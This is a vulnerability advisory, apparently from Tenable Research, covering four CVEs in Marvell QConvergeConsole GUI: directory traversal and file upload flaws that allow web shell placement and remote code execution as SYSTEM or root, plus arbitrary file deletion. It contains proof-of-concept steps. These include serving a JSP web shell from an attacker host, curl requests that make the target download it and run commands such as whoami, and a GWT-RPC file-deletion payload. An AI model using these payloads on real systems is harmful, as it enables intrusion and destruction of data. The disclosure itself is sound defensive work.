

Marvell QConvergeConsole GUI Multiple Vulnerabilities

High

[← View More Research Advisories](#)

Synopsis

Tenable Research discovered multiple vulnerabilities in Marvell QConvergeConsole GUI resulting from incomplete patches for previously published and patched vulnerabilities.

CVE-2020-15643: saveAsText Directory Traversal Remote Code Execution Vulnerability

The previous fix for this vulnerability only checks the name parameter for path traversal; it does not check the **prePath** parameter.

If an authenticated, remote attacker specifies **prePath**="QCCAgentInstallers", **name**="webshell.jsp" and **data**=<contents_of_the_webshell_jsp_file>, the **saveAsText** method will create a malicious web shell in the context path of the QCCAgentInstallers web application, which does not require authentication.

The attacker can then send a command to the JSP web shell, which is running under the security context of the SYSTEM or root account.

See the Proof of Concept [here on GitHub](#).

CVE-2020-15644: setAppFileBytes Directory Traversal Remote Code Execution Vulnerability

The previous fix for this vulnerability only checks the name parameter for path traversal; it does not check the **prePath** parameter.

If an authenticated, remote attacker specifies **prePath**="QCCAgentInstallers", **name**="webshell.jsp", **iType**=4, **data**=<contents_of_the_webshell_jsp_file>, and **iMode**=1, the **setAppFileBytes** method will create a malicious web shell in the context path of the QCCAgentInstallers web application, which does not require authentication.

The attacker can then send a command to the JSP web shell, which is running under the security context of the SYSTEM or root account.

See the Proof of Concept [here on GitHub](#).

CVE-2020-15645: getFileFromURL Unrestricted File Upload Remote Code Execution Vulnerability

The previous fix appears to have a logic error. Its intention looks to be to restrict the file download URL to download.qlogic.com, but it instead does the opposite (restricting download URLs containing download.qlogic.com).

```
public synchronized String getFileFromURL(String urlString, boolean bIsWarFile) {
    if (urlString.contains("download.qlogic.com")) {
        Trace.warn("getFileFromURL: suspicious URL name, skipping operation.");
        return "";
    }
    [...]
```

An authenticated, remote attacker can upload a malicious JSP file and execute it as SYSTEM or root.

```
# 1) Craft a JSP webshell
# 2) Run an httpd on the attacker host to serve the JSP webshell
root@host:/tmp# python3 -m http.server 8080 &
[1] 3477
root@host:/tmp# Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

# 3) Instruct the QCC host to download the JSP webshell from attacker's host
# The JSP webshell will be saved in the context path of the QConvergeConsole web application
root@host:/tmp# curl -si --cookie 'JSESSIONID=<valid_authenticated_JSESSIONID>' -H 'Content-Type: text/x-gwt-rpc; charset=UTF-8' -H 'X-GWT-Permutation: deadbeef' -d

# 4) Send a command to the JSP webshell
root@host:/tmp# curl -si --cookie 'JSESSIONID=<valid_authenticated_JSESSIONID>' http://<qcc_host>:8080/QConvergeConsole/webshell.jsp?cmd=whoami
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
```

CVE-2020-5803: deleteAppFile Authenticated Path Traversal to File Deletion

The deleteAppFile method of the GWTTestServiceImpl class lacks proper validation of a user-supplied path prior to using it in file deletion operations. An authenticated, remote attacker can leverage this vulnerability to delete arbitrary remote files as SYSTEM or root.

```
curl -si --cookie 'JSESSIONID=<valid_authenticated_JSESSIONID>' \
-H 'Content-Type: text/x-gwt-rpc; charset=UTF-8' \
-H 'X-GWT-Permutation: deadbeef' \
-d '7|0|8|http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/serialization_policy|com.qlogic.qms.hba.gwt.client.GWTTestService|deleteAppFile|java.lang.String/2
http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/gwttestservice
```

Solution

Marvell notified Tenable that they are currently developing a software release update. No solution is currently available.

Additional References

<https://www.marvell.com/content/dam/marvell/en/public-collateral/fibre-channel/marvell-fibre-channel-security-advisory-2020-07.pdf>



September 16, 2020 - Tenable replies with vulnerability details disclosure.
September 23, 2020 - Tenable reaches out to see if vendor received / was able to decrypt vulnerability details.
September 24, 2020 - Marvell responds, asks for more time for disclosure.
September 24, 2020 - Tenable responds, indicating that disclosure will occur as planned.
September 24, 2020 - Marvell notified Tenable that they are currently developing a software release update.
October 6, 2020 - Marvell provides Tenable with fixed versions to test
October 8, 2020 - Tenable notes that fixes remain incomplete
November 6, 2020 - Marvell notes they will continue to work on the fixes.
December 17, 2020 - 90 day disclosure date for CVE-2020-5803

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our [Vulnerability Reporting Guidelines](#) page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: [CVE-2020-15643](#)

[CVE-2020-15644](#)

[CVE-2020-15645](#)

[CVE-2020-5803](#)

Tenable Advisory ID: TRA-2020-56

CVSSv2 Base / Temporal Score: 9.0

CVSSv2 Vector: AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSSv3 Base / Temporal Score: 8.8

CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Products: Marvell QConvergeConsole GUI version 5.5.0.74

Risk Factor: High

Advisory Timeline

September 25, 2020 - Initial release.

December 17, 2020 - Additional vulnerability added on 90 day disclosure date

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management



[Resource Library](#)

[Community & Support](#)

[Customer Education](#)

[Tenable Research](#)

[Documentation](#)

[Trust and Assurance](#)

[Nessus Resource Center](#)

[Cyber Exposure Fundamentals](#)

[System Status](#)

CONNECTIONS

[Blog](#)

[Contact Us](#)

[Careers](#)

[Investors](#)

[Events](#)

[Media](#)



[Privacy Policy](#) [Legal](#) [508 Compliance](#)

© 2022 Tenable®, Inc. All Rights Reserved

